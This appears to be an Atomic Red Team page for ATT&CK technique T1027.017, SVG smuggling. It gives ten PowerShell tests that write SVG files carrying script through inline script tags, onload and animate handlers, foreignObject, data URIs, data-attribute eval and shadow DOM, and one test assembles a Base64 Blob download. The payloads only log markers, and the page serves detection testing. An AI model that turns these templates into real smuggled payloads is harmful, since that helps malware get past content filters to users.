Atomic Red Team™: T1027.017

Description from ATT&CK

Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign SVG files.(Citation: Trustwave SVG Smuggling 2025) SVGs, or Scalable Vector Graphics, are vector-based image files constructed using XML. As such, they can legitimately include <script> tags that enable adversaries to include malicious JavaScript payloads. However, SVGs may appear less suspicious to users than other types of executable files, as they are often treated as image files.

SVG smuggling can take a number of forms. For example, threat actors may include content that:

Assembles malicious payloads(Citation: Talos SVG Smuggling 2022)

Downloads malicious payloads(Citation: Cofense SVG Smuggling 2024)

Redirects users to malicious websites(Citation: Bleeping Computer SVG Smuggling 2024)

Displays interactive content to users, such as fake login forms and download buttons.(Citation: Bleeping Computer SVG Smuggling 2024)

SVG Smuggling may be used in conjunction with HTML Smuggling where an SVG with a malicious payload is included inside an HTML file.(Citation: Talos SVG Smuggling 2022) SVGs may also be included in other types of documents, such as PDFs.

Source

Atomic Tests

Atomic Test #1: T1027.017 - Inline JavaScript via Embedded SVG Script Element
Atomic Test #2: T1027.017 - Base64 Blob Payload Assembly via SVG JavaScript
Atomic Test #3: T1027.017 - XML CDATA Section Script Obfuscation
Atomic Test #4: T1027.017 - Root SVG Event Handler Execution (onload)
Atomic Test #5: T1027.017 - Nested HTML via SVG <foreignObject> Smuggling
Atomic Test #6: T1027.017 - SVG Animation Element Script Execution (<animate>)
Atomic Test #7: T1027.017 - XLink / Data URI Script Smuggling in SVG
Atomic Test #8: T1027.017 - SVG Custom Data Attribute Payload Staging (data-*)
Atomic Test #9: T1027.017 - Dynamic DOM Element Construction via SVG JavaScript
Atomic Test #10: T1027.017 - Shadow DOM / Web Component SVG Payload Encapsulation

Atomic Test #1: T1027.017 - Inline JavaScript via Embedded SVG Script Element

Constructs a standard SVG graphic containing an embedded inline element.

Supported Platforms: Windows

auto_generated_guid: de3ac2f1-41e7-411a-be75-2ba35354d181

Attack Commands: Run with `powershell`!

$svgPath = "$env:TEMP\T1027_017_script_element.svg"
$svgContent = @"
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <circle cx="100" cy="100" r="80" fill="blue" />
  <script type="text/javascript">
    var payload = "SVG_Smuggling_Test_Active";
    console.log(payload);
  </script>
</svg>
"@
[System.IO.File]::WriteAllText($svgPath,$svgContent)
Write-Host "[+] Generated SVG file at: $svgPath"

Cleanup Commands

Remove-Item "$env:TEMP\T1027_017_script_element.svg" -Force -ErrorAction SilentlyContinue

Atomic Test #2: T1027.017 - Base64 Blob Payload Assembly via SVG JavaScript

Embeds a Base64-encoded string inside an SVG script that creates a binary Blob download.

Supported Platforms: Windows

auto_generated_guid: f976dbcb-d75b-4db8-9bc9-0dadbed2a132

Attack Commands: Run with `powershell`!

$svgPath = "$env:TEMP\T1027_017_base64_blob.svg"
$svgContent = @"
<svg xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">
    var b64Payload = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA==";
    var byteCharacters = atob(b64Payload);
    var byteNumbers = new Array(byteCharacters.length);
    for (var i = 0; i < byteCharacters.length; i++) {
        byteNumbers[i] = byteCharacters.charCodeAt(i);
    }
    var byteArray = new Uint8Array(byteNumbers);
    var blob = new Blob([byteArray], {type: "application/octet-stream"});
    var link = document.createElement("a");
    link.href = window.URL.createObjectURL(blob);
    link.download = "smuggled_payload.exe";
  </script>
</svg>
"@
[System.IO.File]::WriteAllText($svgPath,$svgContent)
Write-Host "[+] Generated Base64 Blob SVG at: $svgPath"

Cleanup Commands

Remove-Item "$env:TEMP\T1027_017_base64_blob.svg" -Force -ErrorAction SilentlyContinue

Atomic Test #3: T1027.017 - XML CDATA Section Script Obfuscation

Encapsulates executable JavaScript logic inside an XML CDATA section.

Supported Platforms: Windows

auto_generated_guid: 40f594f9-7d95-4710-b516-9b33ad128ac0

Attack Commands: Run with `powershell`!

$svgPath = "$env:TEMP\T1027_017_cdata_obfuscation.svg"
$svgContent = @"
<svg xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">
    <![CDATA[
      (function(){
        var _0x1234 = ["\x53\x56\x47\x5f\x53\x6d\x75\x67\x67\x6c\x69\x6e\x67"];
        console.log(_0x1234[0]);
      })();
    ]]>
  </script>
</svg>
"@
[System.IO.File]::WriteAllText($svgPath,$svgContent)
Write-Host "[+] Generated CDATA SVG at: $svgPath"

Cleanup Commands

Remove-Item "$env:TEMP\T1027_017_cdata_obfuscation.svg" -Force -ErrorAction SilentlyContinue

Atomic Test #4: T1027.017 - Root SVG Event Handler Execution (`onload`)

Utilizes onload attributes directly on the root SVG element.

Supported Platforms: Windows

auto_generated_guid: da0b0ea1-226c-4b24-a1da-dd5324284bce

Attack Commands: Run with `powershell`!

$svgPath = "$env:TEMP\T1027_017_onload_handler.svg"
$svgContent = @"
<svg xmlns="http://www.w3.org/2000/svg" onload="var x='SmuggledViaOnLoad';console.log(x);">
  <rect width="100" height="100" fill="red" />
</svg>
"@
[System.IO.File]::WriteAllText($svgPath,$svgContent)
Write-Host "[+] Generated onload SVG at: $svgPath"

Cleanup Commands

Remove-Item "$env:TEMP\T1027_017_onload_handler.svg" -Force -ErrorAction SilentlyContinue

Atomic Test #5: T1027.017 - Nested HTML via SVG `<foreignObject>` Smuggling

Leverages the SVG foreignObject tag to embed HTML5 elements and scripts.

Supported Platforms: Windows

auto_generated_guid: 75748cf2-99e9-4458-a4ca-da7c9170b68f

Attack Commands: Run with `powershell`!

$svgPath = "$env:TEMP\T1027_017_foreign_object.svg"
$svgContent = @"
<svg xmlns="http://www.w3.org/2000/svg" width="400" height="400">
  <foreignObject width="100%" height="100%">
    <div xmlns="http://www.w3.org/1999/xhtml">
      <script type="text/javascript">
        var foreignSmuggle = "Payload_Inside_ForeignObject";
      </script>
    </div>
  </foreignObject>
</svg>
"@
[System.IO.File]::WriteAllText($svgPath,$svgContent)
Write-Host "[+] Generated foreignObject SVG at: $svgPath"

Cleanup Commands

Remove-Item "$env:TEMP\T1027_017_foreign_object.svg" -Force -ErrorAction SilentlyContinue

Atomic Test #6: T1027.017 - SVG Animation Element Script Execution (`<animate>`)

Uses SVG SMIL animation elements with event handlers like onbegin.

Supported Platforms: Windows

auto_generated_guid: 3552166b-48b2-429b-8640-737cfc07e394

Attack Commands: Run with `powershell`!

$svgPath = "$env:TEMP\T1027_017_animate_element.svg"
$svgContent = @"
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <rect width="100" height="100" fill="blue">
    <animate attributeName="x" from="0" to="50" dur="1s" onbegin="console.log('Animate_Smuggle_Triggered')" />
  </rect>
</svg>
"@
[System.IO.File]::WriteAllText($svgPath,$svgContent)
Write-Host "[+] Generated animate SVG at: $svgPath"

Cleanup Commands

Remove-Item "$env:TEMP\T1027_017_animate_element.svg" -Force -ErrorAction SilentlyContinue

Atomic Test #7: T1027.017 - XLink / Data URI Script Smuggling in SVG

Uses the xlink:href attribute combined with a data URI script.

Supported Platforms: Windows

auto_generated_guid: eb1a10f8-7fdd-41c5-ad10-49dbd4a4bb99

Attack Commands: Run with `powershell`!

$svgPath = "$env:TEMP\T1027_017_xlink_data_uri.svg"
$svgContent = '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><script xlink:href="data:text/javascript;base64,Y29uc29sZS5sb2coJ1hMaW5rX1NtdWdnbGVfQ2FsbGJhY2snKTs=" /></svg>'
[System.IO.File]::WriteAllText($svgPath,$svgContent)
Write-Host "[+] Generated XLink SVG at: $svgPath"

Cleanup Commands

Remove-Item "$env:TEMP\T1027_017_xlink_data_uri.svg" -Force -ErrorAction SilentlyContinue

Atomic Test #8: T1027.017 - SVG Custom Data Attribute Payload Staging (`data-*`)

Stores obfuscated payload strings inside custom data-* attributes.

Supported Platforms: Windows

auto_generated_guid: 81b21afb-46c8-4a8b-8278-c50572889387

Attack Commands: Run with `powershell`!

$svgPath = "$env:TEMP\T1027_017_data_attribute.svg"
$svgContent = @"
<svg xmlns="http://www.w3.org/2000/svg" id="stage" data-payload="d2luZG93LnNtdWdnbGVkID0gdHJ1ZTs=">
  <script type="text/javascript">
    var encoded = document.getElementById('stage').getAttribute('data-payload');
    var decoded = atob(encoded);
    eval(decoded);
  </script>
</svg>
"@
[System.IO.File]::WriteAllText($svgPath,$svgContent)
Write-Host "[+] Generated data-attribute SVG at: $svgPath"

Cleanup Commands

Remove-Item "$env:TEMP\T1027_017_data_attribute.svg" -Force -ErrorAction SilentlyContinue

Atomic Test #9: T1027.017 - Dynamic DOM Element Construction via SVG JavaScript

Constructs hidden HTML elements dynamically using JavaScript DOM manipulation.

Supported Platforms: Windows

auto_generated_guid: 32e96d49-46d1-4d16-b5c0-91b7bfc77fd8

Attack Commands: Run with `powershell`!

$svgPath = "$env:TEMP\T1027_017_dynamic_dom.svg"
$svgContent = @"
<svg xmlns="http://www.w3.org/2000/svg">
  <script type="text/javascript">
    var iframe = document.createElement("iframe");
    iframe.style.display = "none";
    iframe.srcdoc = "<script>console.log('Dynamic_DOM_Smuggle');<\/script>";
    document.documentElement.appendChild(iframe);
  </script>
</svg>
"@
[System.IO.File]::WriteAllText($svgPath,$svgContent)
Write-Host "[+] Generated dynamic DOM SVG at: $svgPath"

Cleanup Commands

Remove-Item "$env:TEMP\T1027_017_dynamic_dom.svg" -Force -ErrorAction SilentlyContinue

Atomic Test #10: T1027.017 - Shadow DOM / Web Component SVG Payload Encapsulation

Hides executable JavaScript within a Shadow DOM root attached to a custom component.

Supported Platforms: Windows

auto_generated_guid: 304da677-d590-4f25-b2c6-17139920bbe3

Attack Commands: Run with `powershell`!

$svgPath = "$env:TEMP\T1027_017_shadow_dom.svg"
$svgContent = @"
<svg xmlns="http://www.w3.org/2000/svg">
  <foreignObject width="100%" height="100%">
    <div xmlns="http://www.w3.org/1999/xhtml">
      <div id="host"></div>
      <script type="text/javascript">
        var host = document.getElementById('host');
        if (host && host.attachShadow) {
          var shadow = host.attachShadow({mode: 'closed'});
          shadow.innerHTML = '<script>console.log("Shadow_DOM_Smuggled");<\/script>';
        }
      </script>
    </div>
  </foreignObject>
</svg>
"@
[System.IO.File]::WriteAllText($svgPath,$svgContent)
Write-Host "[+] Generated Shadow DOM SVG at: $svgPath"

Cleanup Commands

Remove-Item "$env:TEMP\T1027_017_shadow_dom.svg" -Force -ErrorAction SilentlyContinue

Atomic test(s) for this technique last updated: 2026-10-20 23:16:29 UTC

T1027.017

Description from ATT&CKCopy Anchor Link

Atomic TestsCopy Anchor Link

Atomic Test #1: T1027.017 - Inline JavaScript via Embedded SVG Script ElementCopy Anchor Link

Attack Commands: Run with powershell!Copy Anchor Link

Cleanup CommandsCopy Anchor Link

Atomic Test #2: T1027.017 - Base64 Blob Payload Assembly via SVG JavaScriptCopy Anchor Link

Attack Commands: Run with powershell!Copy Anchor Link

Cleanup CommandsCopy Anchor Link

Atomic Test #3: T1027.017 - XML CDATA Section Script ObfuscationCopy Anchor Link

Attack Commands: Run with powershell!Copy Anchor Link

Cleanup CommandsCopy Anchor Link

Atomic Test #4: T1027.017 - Root SVG Event Handler Execution (onload)Copy Anchor Link

Attack Commands: Run with powershell!Copy Anchor Link

Cleanup CommandsCopy Anchor Link

Atomic Test #5: T1027.017 - Nested HTML via SVG <foreignObject> SmugglingCopy Anchor Link

Attack Commands: Run with powershell!Copy Anchor Link

Cleanup CommandsCopy Anchor Link

Atomic Test #6: T1027.017 - SVG Animation Element Script Execution (<animate>)Copy Anchor Link

Attack Commands: Run with powershell!Copy Anchor Link

Cleanup CommandsCopy Anchor Link

Atomic Test #7: T1027.017 - XLink / Data URI Script Smuggling in SVGCopy Anchor Link

Attack Commands: Run with powershell!Copy Anchor Link

Cleanup CommandsCopy Anchor Link

Atomic Test #8: T1027.017 - SVG Custom Data Attribute Payload Staging (data-*)Copy Anchor Link

Attack Commands: Run with powershell!Copy Anchor Link

Cleanup CommandsCopy Anchor Link

Atomic Test #9: T1027.017 - Dynamic DOM Element Construction via SVG JavaScriptCopy Anchor Link

Attack Commands: Run with powershell!Copy Anchor Link

Cleanup CommandsCopy Anchor Link

Atomic Test #10: T1027.017 - Shadow DOM / Web Component SVG Payload EncapsulationCopy Anchor Link

Attack Commands: Run with powershell!Copy Anchor Link

Cleanup CommandsCopy Anchor Link

On this page

Description from ATT&CK

Atomic Tests

Atomic Test #1: T1027.017 - Inline JavaScript via Embedded SVG Script Element

Attack Commands: Run with `powershell`!

Cleanup Commands

Atomic Test #2: T1027.017 - Base64 Blob Payload Assembly via SVG JavaScript

Attack Commands: Run with `powershell`!

Cleanup Commands

Atomic Test #3: T1027.017 - XML CDATA Section Script Obfuscation

Attack Commands: Run with `powershell`!

Cleanup Commands

Atomic Test #4: T1027.017 - Root SVG Event Handler Execution (`onload`)

Attack Commands: Run with `powershell`!

Cleanup Commands

Atomic Test #5: T1027.017 - Nested HTML via SVG `<foreignObject>` Smuggling

Attack Commands: Run with `powershell`!

Cleanup Commands

Atomic Test #6: T1027.017 - SVG Animation Element Script Execution (`<animate>`)

Attack Commands: Run with `powershell`!

Cleanup Commands

Atomic Test #7: T1027.017 - XLink / Data URI Script Smuggling in SVG

Attack Commands: Run with `powershell`!

Cleanup Commands

Atomic Test #8: T1027.017 - SVG Custom Data Attribute Payload Staging (`data-*`)

Attack Commands: Run with `powershell`!

Cleanup Commands

Atomic Test #9: T1027.017 - Dynamic DOM Element Construction via SVG JavaScript

Attack Commands: Run with `powershell`!

Cleanup Commands

Atomic Test #10: T1027.017 - Shadow DOM / Web Component SVG Payload Encapsulation

Attack Commands: Run with `powershell`!

Cleanup Commands